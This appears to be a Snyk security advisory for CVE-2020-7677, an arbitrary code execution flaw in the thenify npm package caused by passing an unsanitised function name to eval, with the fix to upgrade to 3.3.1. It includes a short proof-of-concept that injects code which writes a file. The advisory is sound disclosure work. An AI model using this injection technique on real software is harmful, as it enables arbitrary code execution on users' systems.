

Arbitrary Code Execution

Affecting [thenify](#) package, versions <3.3.1

INTRODUCED: 15 JUN 2020 [CVE-2020-7677](#) [?](#) [CWE-78](#) [?](#) [FIRST ADDED BY SNYK](#)

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How to fix?

Upgrade [thenify](#) to version 3.3.1 or higher.

Overview

[thenify](#) is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The `name` argument provided to the package can be controlled by users without any sanitization, and this is provided to the `eval` function without any sanitization.

PoC

```
var a = require("thenify"); var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function({})); function cur()
{}; Object.defineProperty(cur, "name", { value: "Fake() {" + attack_code + "}}");(function(){//}); a(cur);
```

References

- [GitHub Commit](#)
- [Vulnerable Code](#)

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9.8 CRITICAL

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Snyk ID [SNYK-JS-THENIFY-571690](#)

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